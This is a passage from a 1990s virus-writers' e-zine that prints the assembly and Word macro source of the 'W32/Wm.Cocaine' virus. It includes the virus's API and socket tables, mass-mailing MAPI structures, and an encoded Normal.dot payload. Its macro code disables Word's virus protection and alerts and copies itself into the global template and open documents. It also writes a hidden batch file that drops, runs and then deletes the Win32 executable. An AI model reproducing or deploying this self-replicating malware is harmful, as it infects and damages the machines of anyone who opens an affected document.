_delta dd 00403000hlea ebx , [ ebp+( ofs vinit - ofs vcode )]push ebxlea ebx , [ ebp+( ofs dec_end_code - ofs vcode )]push dwo fs :[ eax ]mov fs :[ eax ], esp ;set new seh framemov edi , ebpmov eax , 0

key1 equ dwo $- 4@@1:

xor [ edi ], eaxscasdadd eax , 12345678h

org $- 4key2 dd 0

cmp edi , ebx

Page 213: EZine - Asterix #2

COKE.ASM

jne @@1mov eax , cs :[ 0] ;cause fault

DecriptInit endp

vend equ this byte ;END OF PHYSICAL BODY

db 'EOV' , 0

align 4

k32_address equ this byte_CreateProcessA dd 0_CreateFileA dd 0_WinExec dd 0_CloseHandle dd 0 ;add here a var that hold the_LoadLibraryA dd 0_FreeLibrary dd 0_CreateFileMappingA dd 0_MapViewOfFile dd 0_UnmapViewOfFile dd 0_FindFirstFileA dd 0_FindNextFileA dd 0_FindClose dd 0_SetEndOfFile dd 0_VirtualAlloc dd 0_VirtualFree dd 0_GetSystemTime dd 0_GetWindowsDirectoryA dd 0_GetSystemDirectoryA dd 0_GetCurrentDirectoryA dd 0_SetFileAttributesA dd 0_SetFileTime dd 0_ExitProcess dd 0_GetCurrentProcess dd 0_WriteProcessMemory dd 0_WriteFile dd 0_DeleteFileA dd 0_Sleep dd 0_CreateThread dd 0_GetFileSize dd 0_SetFilePointer dd 0

_MessageBoxA dd 0_FindWindowA dd 0_PostMessageA dd 0

_RegCloseKey dd 0_RegQueryValueEx dd 0_RegOpenKeyEx dd 0_RegCreateKeyEx dd 0_RegSetValueEx dd 0

_GetModuleHandle dd 0_GetProcAddress dd 0 ;basic api init

_connect dd 0_recv dd 0

_MAPISendMail dd 0

old_eip dd 0 ;first entrypoint place

Page 214: EZine - Asterix #2

COKE.ASM

patch_jump dd 0 ;where last jump is(patch!!)

sRVA dd 0 ;CODE section paramz, forRawSize dd 0 ;branch_entry

lgarble db 0 ;last garble indicatorinf? db 0 ;can infect file?

_dec dw 0 ;instruction used to decript

K32 dd 0 ;kernel32 baseU32 dd 0 ;user32 base

pseed dd 0 ;poly seed

variables dd 0

reg32 dd 0 ;table of reg usedbuffer dd 0 ;current work buffer_size dd 0 ;size to encriptentry dd 0 ;delta to entrypointrva dd 0 ;place in meory where virus

;will runflagz dd 0 ;garbling flagzc_reg dd 0 ;actual counter regp_reg dd 0 ;actual pointer regrecurse dd 0 ;recursion deepdecriptor dd 0 ;start of decriptor in current

;buffer

search_handle dd 0

_socket dd 0socket dd MAX_SOCKdup ( 0)recv_size dd 0recv_buff dd 0email_w dd 0thread dd 0email db 128 dup ( 0)

email_crc dd 0

secz db 0

mdeep db 0

align 4

handle1 dd 0handle2 dd 0map@ dd 0 ;map address

tamanho dd 0 ;total added sizeep dd 0 ;new entrypoint

image_infect dd 0

OurTimer dd 0polybuffer dd 0 ;address of buffer for poly

buffer1 dd 0 ;temporary poly bufferzbuffer2 dd 0

Page 215: EZine - Asterix #2

COKE.ASM

mm_on_off dd 0

pe_header dd 0

seed dd 0 ;main random seed

_mapi dd 0

subject dd 0

directory db MAX_PATHdup ( 0) ;work directory structure

lparm dd 0lvars dd 0subs_index dd 0

s_into db 0_pusha db 0

fname db 32 dup ( 0)

align 4

current_time equ this byte_year dw 0_month dw 0_dayofweek dw 0_day dw 0_hour dw 0_minute dw 0_second dw 0_milisecond dw 0

find_data equ this bytefattr dd 0

c_creat_h dd 0c_creat_l dd 0

la_creat_h dd 0la_creat_l dd 0

lw_creat_h dd 0lw_creat_l dd 0

fsizeh dd 0fsizel dd 0reserved dd 0, 0filename db 260 dup ( 0)altname db 13 dup ( 0)altext db 3 dup ( 0)

subs_table db 6* MAX_SUBROUTINESdup ( 0) ;dd where sub reside;db no. of param that sub clean;db no. of vars that sub alloc

include mapi.inc

MF MapiFileDesc <0>

mend equ this byte

_VSEG NULends

end main

Page 216: EZine - Asterix #2

HOST.INC

_TEXT segment dword use32 public 'CODE'

extrn ShellAboutA : Procextrn ExitProcess : pRoc

main procjmp DecriptInit

host :push 0push ofs titpush ofs msgpush 0call ShellAboutApush 0call ExitProcess

main endp

_TEXT ends

_DATA segment dword use32 public 'DATA'

tit db 'W32/Wm.Cocaine by Vecna' , 0msg db 'Cocaine - A Win32/WinWord Virus#'

db 'Cocaine - Your PC is now addicted' , 0

_DATA ends

Page 217: EZine - Asterix #2

COKE.DEF

NAME COKE

DESCRIPTION 'Win32 Virus'

CODE PRELOAD MOVEABLE DISCARDABLEDATA PRELOAD MOVEABLE MULTIPLE

EXETYPE WINDOWS

HEAPSIZE 131072STACKSIZE 131072

Page 218: EZine - Asterix #2

MACRO.ASM

.MODEL TINY

.CODE

.STARTUP

CRLF EQU <13, 10>

DB 1DB "'%1" , CRLFDB "SUB AUTOCLOSE()" , CRLFDB "ON ERROR RESUME NEXT", CRLFDB 0

DB 2DB "OPTIONS.VIRUSPROTECTION = FALSE" , CRLFDB 0

DB 2DB "OPTIONS.CONFIRMCONVERSIONS = FALSE", CRLFDB 0

DB 2DB "OPTIONS.SAVENORMALPROMPT = FALSE", CRLFDB 0

DB 2DB "APPLICATION.DISPLAYALERTS = WDALERTSNONE", CRLFDB 0

DB 2DB "SHOWVISUALBASICEDITOR = FALSE" , CRLFDB 0

DB 2DB "%2=1" , CRLFDB 0

DB 2DB "%3=1" , CRLFDB 0

DB 3DB "FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT", CRLFDB 'IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %2=%4' ,CRLFDB "NEXT %4" , CRLFDB 0

DB 3DB "FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT", CRLFDB 'IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %3=%4' ,CRLFDB "NEXT %4" , CRLFDB 0

DB 3DB 'OPEN "C:\%7.BAT" FOR OUTPUT AS 1' , CRLFDB 'PRINT #1,"@ECHO OFF"' , CRLFDB 'PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"' , CRLFDB 'PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"' , CRLFDB 'PRINT #1,"C:\W32COKE.EXE"' , CRLFDB 'PRINT #1,"DEL C:\W32COKE.EX >NUL"' , CRLFDB 'PRINT #1,"DEL C:\COCAINE.SRC >NUL"' , CRLF

Page 219: EZine - Asterix #2

MACRO.ASM

DB 'PRINT #1,"DEL C:\COCAINE.SYS >NUL"' , CRLFDB 'PRINT #1,"DEL C:\W32COKE.EXE >NUL"' , CRLFDB 'PRINT #1,"DEL C:\%7.BAT >NUL"' , CRLFDB 'CLOSE #1' , CRLFDB 0

DB 4DB "SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE", CRLFDB 0

DB 4DB "SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE", CRLFDB 0

DB 5DB 'IF %5.LINES(1, 1) <> "''%1" THEN' , CRLFDB "%5.DELETELINES 1, %5.COUNTOFLINES" , CRLFDB "%5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)" , CRLFDB "END IF" , CRLFDB 0

DB 5DB 'IF %6.LINES(1, 1) <> "''%1" THEN' , CRLFDB "%6.DELETELINES 1, %6.COUNTOFLINES" , CRLFDB "%6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)" , CRLFDB "END IF" , CRLFDB 0

DB 6;CREATE DEBUG SCRIPTDB 0

DB 7DB 'OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1' , CRLFDB 'PRINT #1,""' , CRLFDB "CLOSE #1" , CRLFDB 0

DB 7DB "SHELL %7.BAT, VBHIDE" , CRLFDB "FOR %4=1 TO 100" , CRLFDB "NEXT %4" , CRLFDB "KILL %7.BAT" , CRLFDB 0

DB 8DB "END SUB" , CRLFDB 0

END

Page 220: EZine - Asterix #2

LZ.INC

;void fast_copy(p_src,p_dst,len);fast_copy proc

push edi esi ecxmov ecx,dword ptr [esp+ 4+(4*3)]mov edi,dword ptr [esp+ 8+(4*3)]mov esi,dword ptr [esp+12+(4*3)]cldrep movsbpop ecx esi ediret 12

fast_copy endp

lzrw1_decompress proc near?live1@768:

;; void lzrw1_decompress(p_src_first,src_len,p_dst_first,p_dst_len);

@27:push ebpmov ebp,espadd esp,-8push ebxpush esipush edi

;; /* Input : Specify input block using p_src_first and src_len. */; /* Input : Point p_dst_first to the start of the output zone. */; /* Input : Point p_dst_len to a ULONG to receive the output length. */; /* Input : Input block and output zone must not overlap. User knows */; /* Input : upperbound on output block length from earlier compression. */; /* Input : In any case, maximum expansion possible is eight times. */; /* Output : Length of output block written to *p_dst_len. */; /* Output : Output block in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */; /* Output : Writes only in Mem[p_dst_first..p_dst_first+*p_dst_len-1]. */; UBYTE *p_src_first, *p_dst_first; ULONG src_len, *p_dst_len;; {UWORD controlbits=0, control;;

?live1@784: ; EDI = control, ECX = p_src_firstxor esi,esi

?live1@800: ; mov ecx,dword ptr [ebp+20]

;; UBYTE *p_src=p_src_first+FLAG_BYTES, *p_dst=p_dst_first,; *p_src_post=p_src_first+src_len;;

?live1@816: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first;mov ebx,dword ptr [ebp+16]add ebx,ecx

?live1@832: ; EDI = control, ESI = controlbits, ECX = p_src_firstmov edx,dword ptr [ebp+12]

?live1@848: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first;mov dword ptr [ebp-4],ebx

?live1@864: ; EDI = control, ESI = controlbits, ECX = p_src_firstlea eax,dword ptr [ecx+4]

;; if (*p_src_first==FLAG_COPY);

?live1@880: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = p_src_first

Page 221: EZine - Asterix #2

LZ.INC

;cmp byte ptr [ecx],1jne short @28

;; {fast_copy(p_src_first+FLAG_BYTES,p_dst_first,src_len-FLAG_BYTES);;

?live1@896: ; ECX = p_src_firstadd ecx,4push ecxmov eax,dword ptr [ebp+12]push eaxmov edi,dword ptr [ebp+16]sub edi,4push edicall fast_copy

;; *p_dst_len=src_len-FLAG_BYTES; return;};

?live1@912: ; EDI = @temp14mov eax,dword ptr [ebp+8]mov dword ptr [eax],edijmp short @29

;; while (p_src!=p_src_post);

?live1@928: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits@28:

cmp eax,dword ptr [ebp-4]je short @31

;; {if (controlbits==0);

@30:test esi,esijne short @32

;; {control=*p_src++; control|=(*p_src++)<<8; controlbits=16;};

?live1@960: ; EAX = p_src, EDX = p_dstmovzx edi,byte ptr [eax]inc eaxxor ecx,ecx

; mov esi,16push 16pop esi

mov cl,byte ptr [eax]shl ecx,8or edi,ecxinc eax

;; if (control&1);

?live1@976: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits@32:

test edi,1je short @33

; jnc short @33;; {UWORD offset,len; UBYTE *p;; offset=(*p_src&0xF0)<<4; len=1+(*p_src++&0xF);;

Page 222: EZine - Asterix #2

LZ.INC

@34:xor ebx,ebxxor ecx,ecxmov bl,byte ptr [eax]mov cl,byte ptr [eax]and ebx,15inc eaxinc ebxand ecx,240mov dword ptr [ebp-8],ebx

;; offset+=*p_src++&0xFF; p=p_dst-offset;;

?live1@1008: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset;xor ebx,ebxmov bl,byte ptr [eax]inc eax

?live1@1024: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbitsshl ecx,4

?live1@1040: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset;and ebx,255add ecx,ebxmov ebx,edxsub ebx,ecxmov ecx,ebxjmp short @36

;; while (len--) *p_dst++=*p++;};

?live1@1056: ; EAX = p_src, EDX = p_dst, ECX = p, EDI = control, ESI = controlbits;

@35:mov bl,byte ptr [ecx]inc ecxmov byte ptr [edx],blinc edx

@36:mov ebx,dword ptr [ebp-8]add dword ptr [ebp-8],-1test ebx,ebxjne short @35

@37:jmp short @38

;; else; *p_dst++=*p_src++;;

?live1@1072: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits@33:

mov cl,byte ptr [eax]inc eaxmov byte ptr [edx],clinc edx

;; control>>=1; controlbits--;;

@38:shr edi,1dec esicmp eax,dword ptr [ebp-4]

Page 223: EZine - Asterix #2

LZ.INC

jne short @30;; }; *p_dst_len=p_dst-p_dst_first;;

?live1@1120: ; EDX = p_dst@31:

sub edx,dword ptr [ebp+12]mov eax,dword ptr [ebp+8]mov dword ptr [eax],edx

;; };

?live1@1136: ; @39:@29:

pop edipop esipop ebxpop ecxpop ecxpop ebpret 16

lzrw1_decompress endp

Page 224: EZine - Asterix #2

MACRO.INC

; '%1; SUB AUTOCLOSE(); ON ERROR RESUME NEXT; OPTIONS.VIRUSPROTECTION = FALSE; OPTIONS.CONFIRMCONVERSIONS =FALSE; OPTIONS.SAVENORMALPROMPT =FALSE; APPLICATION.DISPLAYALERTS = WDALERTSNONE; SHOWVISUALBASICEDITOR =FALSE; %2=1; %3=1; FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT; IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1, 1) = "'%1" THEN %2=%4; NEXT %4; FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT; IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1, 1) = "'%1" THEN %3=%4; NEXT %4; OPEN "C:\%7.BAT" FOR OUTPUTAS 1; PRINT #1, "@ECHO OFF"; PRINT #1, "DEBUG <C:\COCAINE.SRC >NUL"; PRINT #1, "COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"; PRINT #1, "C:\W32COKE.EXE"; PRINT #1, "DEL C:\W32COKE.EX >NUL"; PRINT #1, "DEL C:\COCAINE.SRC >NUL"; PRINT #1, "DEL C:\COCAINE.SYS >NUL"; PRINT #1, "DEL C:\W32COKE.EXE >NUL"; PRINT #1, "DEL C:\%7.BAT >NUL"; CLOSE #1; SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE; SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE; IF %5. LINES( 1, 1) <> "'%1" THEN; %5.DE LETELINES 1, %5.C OUNTOFLINES; %5. INSERTLINES 1, %6. LINES( 1, %6.C OUNTOFLINES); END IF; IF %6. LINES( 1, 1) <> "'%1" THEN; %6.DE LETELINES 1, %6.C OUNTOFLINES; %6. INSERTLINES 1, %5. LINES( 1, %5.C OUNTOFLINES); END IF; OPEN "C:\ANCEV.SYS" FOR OUTPUTAS 1; CLOSE 1; SHELL %7.BA T, VBHIDE; FOR %4 = 1 TO 100; NEXT %4; KILL % 7.BA T; END SUB

macro_sized dd 0macro_size EQU 750 ; size in bytesmacros DB 000H, 000H, 000H, 000H, 000H, 000H, 001H, 027H, 025H, 031H, 00DH, 00AH, 053H, 055HDB 042H, 020H, 041H, 055H, 054H, 04FH, 043H, 04CH, 000H, 000H, 04FH, 053H, 045H, 028H, 029HDB 00DH, 00AH, 04FH, 04EH, 020H, 045H, 052H, 052H, 04FH, 052H, 020H, 000H, 000H, 052H, 045HDB 053H, 055H, 04DH, 045H, 020H, 04EH, 045H, 058H, 054H, 00DH, 00AH, 000H, 002H, 04FH, 000HDB 000H, 050H, 054H, 049H, 04FH, 04EH, 053H, 02EH, 056H, 049H, 052H, 055H, 053H, 050H, 052HDB 04FH, 054H, 004H, 008H, 045H, 043H, 003H, 011H, 020H, 03DH, 020H, 046H, 041H, 04CH, 053HDB 045H, 00BH, 023H, 043H, 04FH, 04EH, 046H, 008H, 007H, 049H, 052H, 04DH, 002H, 007H, 056HDB 045H, 052H, 053H, 003H, 036H, 00FH, 026H, 003H, 049H, 053H, 041H, 056H, 045H, 04EH, 020HDB 002H, 04FH, 052H, 04DH, 041H, 04CH, 002H, 04EH, 04DH, 050H, 054H, 00BH, 024H, 041H, 050HDB 050H, 04CH, 049H, 043H, 002H, 000H, 041H, 003H, 061H, 02EH, 044H, 049H, 053H, 050H, 04CHDB 041H, 059H, 041H, 04CH, 045H, 052H, 054H, 053H, 089H, 000H, 002H, 025H, 057H, 044H, 005HDB 00BH, 04EH, 04FH, 04EH, 004H, 076H, 053H, 048H, 04FH, 057H, 056H, 049H, 053H, 055H, 000HDB 018H, 041H, 04CH, 042H, 041H, 053H, 049H, 043H, 045H, 044H, 049H, 054H, 002H, 0BEH, 00AHDB 097H, 025H, 032H, 03DH, 021H, 009H, 002H, 0E9H, 000H, 002H, 025H, 033H, 004H, 008H, 003HDB 046H, 002H, 01FH, 025H, 034H, 002H, 04AH, 031H, 020H, 054H, 04FH, 022H, 068H, 020H, 005H

Page 225: EZine - Asterix #2

MACRO.INC

DB 083H, 054H, 045H, 04DH, 002H, 065H, 054H, 045H, 02EH, 056H, 042H, 002H, 08EH, 04AH, 002HDB 0DCH, 002H, 00AH, 043H, 008H, 090H, 04FH, 04DH, 050H, 002H, 065H, 04EH, 054H, 053H, 02EHDB 043H, 04FH, 055H, 04EH, 012H, 007H, 049H, 046H, 00FH, 030H, 043H, 000H, 00FH, 030H, 005HDB 030H, 028H, 025H, 034H, 029H, 002H, 034H, 044H, 045H, 04DH, 04FH, 044H, 055H, 04CH, 045HDB 02EH, 000H, 014H, 04CH, 049H, 04EH, 045H, 053H, 028H, 031H, 02CH, 031H, 029H, 002H, 077HDB 022H, 012H, 079H, 022H, 020H, 054H, 010H, 0AAH, 048H, 045H, 04EH, 020H, 002H, 09BH, 025HDB 034H, 00DH, 00AH, 013H, 064H, 020H, 003H, 009H, 000H, 00EH, 09DH, 041H, 012H, 064H, 020HDB 0BBH, 056H, 045H, 044H, 04FH, 043H, 012H, 08AH, 04EH, 054H, 002H, 093H, 00FH, 09DH, 045HDB 00DH, 09DH, 00FH, 030H, 00FH, 0CDH, 04EH, 003H, 030H, 0CBH, 004H, 00FH, 09DH, 00FH, 09DHDB 031H, 007H, 09DH, 033H, 03DH, 003H, 094H, 00AH, 09DH, 04FH, 050H, 002H, 0B4H, 022H, 043HDB 03AH, 05CH, 025H, 080H, 000H, 037H, 02EH, 042H, 041H, 054H, 022H, 020H, 013H, 04BH, 04FHDB 055H, 054H, 050H, 055H, 054H, 020H, 041H, 004H, 000H, 053H, 020H, 012H, 066H, 050H, 052HDB 049H, 04EH, 054H, 020H, 023H, 031H, 02CH, 022H, 040H, 045H, 043H, 000H, 002H, 048H, 04FHDB 020H, 04FH, 046H, 046H, 022H, 00DH, 00AH, 009H, 016H, 044H, 045H, 042H, 055H, 047H, 020HDB 042H, 000H, 03CH, 002H, 043H, 043H, 04FH, 043H, 041H, 012H, 016H, 02EH, 053H, 052H, 043HDB 020H, 03EH, 04EH, 055H, 04CH, 041H, 000H, 00CH, 027H, 043H, 04FH, 050H, 059H, 020H, 002HDB 025H, 057H, 033H, 032H, 043H, 04FH, 04BH, 045H, 02EH, 045H, 06AH, 031H, 058H, 00DH, 00EHDB 045H, 00FH, 033H, 02CH, 003H, 096H, 009H, 02EH, 045H, 00CH, 04EH, 044H, 045H, 04CH, 00DHDB 03FH, 00FH, 03EH, 02CH, 022H, 09FH, 0FFH, 006H, 023H, 00FH, 095H, 00FH, 047H, 003H, 047HDB 008H, 024H, 059H, 053H, 00FH, 048H, 008H, 048H, 00AH, 08AH, 00FH, 024H, 008H, 024H, 015HDB 044H, 007H, 01FH, 034H, 080H, 012H, 039H, 001H, 06FH, 032H, 048H, 004H, 053H, 045H, 054HDB 020H, 025H, 035H, 022H, 02AH, 02FH, 09CH, 01FH, 0CFH, 016H, 0CFH, 032H, 02BH, 06CH, 008HDB 041H, 036H, 0AFH, 014H, 002H, 041H, 02FH, 010H, 00FH, 041H, 006H, 041H, 033H, 00EH, 041HDB 005H, 022H, 0E8H, 025H, 035H, 028H, 0B6H, 020H, 022H, 0B7H, 03CH, 03EH, 020H, 019H, 071HDB 029H, 0B8H, 00DH, 00AH, 002H, 01EH, 012H, 033H, 045H, 054H, 045H, 024H, 03DH, 020H, 031HDB 02CH, 002H, 0B1H, 022H, 0F1H, 032H, 025H, 04FH, 0C6H, 065H, 046H, 004H, 013H, 004H, 023HDB 049H, 04EH, 053H, 032H, 0B5H, 004H, 010H, 004H, 023H, 036H, 009H, 053H, 025H, 036H, 00CHDB 02FH, 042H, 079H, 045H, 0E0H, 0F3H, 04EH, 044H, 020H, 049H, 046H, 002H, 0BFH, 004H, 07EHDB 00AH, 02BH, 00FH, 07EH, 002H, 05BH, 036H, 02EH, 00FH, 07EH, 00DH, 04FH, 004H, 023H, 00FHDB 07EH, 033H, 002H, 00AH, 0D1H, 002H, 0BFH, 043H, 04FH, 009H, 0ADH, 00BH, 07EH, 006H, 000HDB 007H, 028H, 0E7H, 041H, 04EH, 043H, 045H, 056H, 02EH, 078H, 040H, 053H, 059H, 053H, 02FHDB 0EAH, 02CH, 0EAH, 022H, 025H, 01AH, 0BEH, 007H, 053H, 048H, 045H, 04CH, 04CH, 020H, 015HDB 0DEH, 02CH, 0C0H, 088H, 020H, 056H, 042H, 048H, 049H, 044H, 042H, 0A8H, 033H, 02AH, 025HDB 034H, 03DH, 044H, 073H, 031H, 030H, 030H, 03AH, 0F4H, 004H, 000H, 04BH, 049H, 008H, 02FHDB 00DH, 00AH, 000H, 008H, 045H, 04EH, 044H, 020H, 053H, 055H, 042H, 00DH, 00AH, 000H, 000HDB 000H

Page 226: EZine - Asterix #2

MAPI.INC

;this file was leeched from virogen pcmail;the same with all mapi stuff<g>

MapiMessage strucresd dd ?lpszSubject dd ?lpszNoteText dd ?lpszMessageType dd ?lpszDateReceived dd ?lpszConversationID dd ?flags dd ?lpOriginator dd ?nRecipCount dd ?lpRecips dd ?nFileCount dd ?lpFiles dd ?

MapiMessage ends

MapiRecipDesc strucresd dd ?ulRecipClass dd ?lpszName dd ?lpszAddress dd ?ulEIDSize dd ?lpEntryID dd ?

MapiRecipDesc ends

MapiFileDesc strucresd dd ?flFlags dd ?nPosition dd ?lpszPathName dd ?lpszFileName dd ?lpFileType dd ?

MapiFileDesc ends

Page 227: EZine - Asterix #2

NDOT.INC

; Sub AutoExec (); On Error GoTo erro; Application.DisplayAlerts = False; Application.EnableCancelKey = wdDisabled; For i = 1 To NormalTemplate.VBProject.VBComponents.Count; If NormalTemplate.VBProject.VBComponents ( i ). CodeModule.Lines ( 1, 1) = "'Cocaine" Then GoTo erro; Next i; NormalTemplate.VBProject.VBComponents.Import ( " c: \ cocaine.sys " ); NormalTemplate.Save; erro :; End Sub

normaldot_size EQU 8292 ; size in bytes

normaldot_sized dd 0normaldot DB 000H, 000H, 000H, 000H, 000H, 002H, 0D0H, 0CFH, 011H, 0E0H, 0A1H, 0B1H, 01AH, 0E1HDB 000H, 00EH, 001H, 03EH, 000H, 003H, 000H, 0FEH, 0FFH, 0A8H, 061H, 009H, 000H, 006H, 00AHDB 018H, 001H, 002H, 00CH, 021H, 002H, 004H, 004H, 003H, 010H, 000H, 000H, 023H, 002H, 009HDB 003H, 014H, 0FEH, 0C8H, 0FFH, 0FFH, 0FFH, 0FFH, 002H, 00BH, 000H, 020H, 002H, 005H, 002HDB 00BH, 00FH, 003H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 007H, 000H, 00FH, 010H, 00FH, 010H, 00CH, 010H, 0ECHDB 0A5H, 0C1H, 000H, 049H, 000H, 016H, 004H, 000H, 000H, 001H, 012H, 0BFH, 03FH, 000H, 012HDB 0C0H, 002H, 003H, 012H, 0DAH, 002H, 006H, 003H, 012H, 002H, 004H, 00EH, 000H, 062H, 06AHDB 062H, 06AH, 0B2H, 0B3H, 0B2H, 0B3H, 003H, 0E0H, 002H, 014H, 00EH, 003H, 016H, 004H, 016HDB 000H, 01EH, 00CH, 000H, 000H, 0D0H, 0D9H, 001H, 004H, 004H, 023H, 00CH, 00EH, 023H, 0F1HDB 0CAH, 00CH, 00FH, 0FFH, 0FFH, 00FH, 008H, 010H, 00FH, 00CH, 008H, 019H, 006H, 009H, 05DHDB 004H, 008H, 08CH, 004H, 006H, 000H, 000H, 003H, 008H, 003H, 004H, 0B7H, 067H, 003H, 00FHDB 00FH, 008H, 00BH, 010H, 014H, 003H, 021H, 006H, 004H, 0BCH, 00FH, 008H, 00FH, 010H, 002HDB 010H, 002H, 0BDH, 000H, 0C8H, 006H, 008H, 007H, 030H, 018H, 0D0H, 0AFH, 002H, 000H, 000HDB 0B6H, 002H, 014H, 0E0H, 002H, 004H, 003H, 003H, 00FH, 008H, 00FH, 010H, 00FH, 010H, 007HDB 010H, 018H, 012H, 00FH, 0C7H, 002H, 041H, 076H, 055H, 0DFH, 002H, 008H, 002H, 007H, 000HDB 00FH, 008H, 00FH, 010H, 003H, 010H, 024H, 002H, 029H, 0CEH, 002H, 080H, 0F4H, 002H, 034HDB 0C2H, 012H, 07EH, 03EH, 0F5H, 0FFH, 002H, 010H, 003H, 002H, 010H, 015H, 002H, 008H, 00FHDB 003H, 007H, 0F8H, 007H, 070H, 00FH, 020H, 007H, 018H, 00FH, 008H, 007H, 010H, 003H, 058HDB 003H, 034H, 007H, 010H, 007H, 050H, 0FFH, 05FH, 007H, 008H, 007H, 018H, 003H, 024H, 003HDB 004H, 007H, 010H, 00FH, 008H, 00FH, 010H, 007H, 010H, 00FH, 048H, 00FH, 010H, 013H, 020HDB 003H, 058H, 00FH, 004H, 0A0H, 002H, 011H, 00EH, 0FDH, 0FBH, 002H, 004H, 0AEH, 002H, 004HDB 003H, 008H, 007H, 038H, 00FH, 008H, 007H, 010H, 007H, 070H, 007H, 050H, 003H, 010H, 038HDB 002H, 03CH, 003H, 008H, 002H, 007H, 008H, 003H, 007H, 020H, 0FFH, 006H, 007H, 038H, 007HDB 008H, 008H, 021H, 00FH, 009H, 00FH, 010H, 00EH, 010H, 007H, 050H, 007H, 068H, 0D4H, 002HDB 020H, 023H, 050H, 0A0H, 010H, 0DAH, 09BH, 0B8H, 0F8H, 0FFH, 065H, 0BEH, 001H, 027H, 050HDB 007H, 008H, 007H, 028H, 007H, 038H, 002H, 02FH, 00FH, 003H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FDH, 0FFH, 002H, 010H, 00DH, 002HDB 004H, 00FH, 003H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 0EFH, 0FFH, 00FH, 010H, 00FH, 010H, 00CH, 010H, 042H, 066H, 001H, 002H, 004H, 00CHDB 014H, 00FH, 00DH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 03FH, 0FBH, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 009H, 010H, 001H, 000H, 012H, 0FCH, 023H, 000H, 0FDH, 009HDB 014H, 00FH, 00AH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 0FFH, 0EFHDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FHDB 010H, 00FH, 010H, 00FH, 010H, 007H, 010H, 082H, 064H, 000H, 028H, 000H, 007H, 015H, 00FHDB 008H, 0FFH, 0FFH, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010HDB 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH, 010H, 00FH

Page 228: EZine - Asterix #2

NDOT.INC

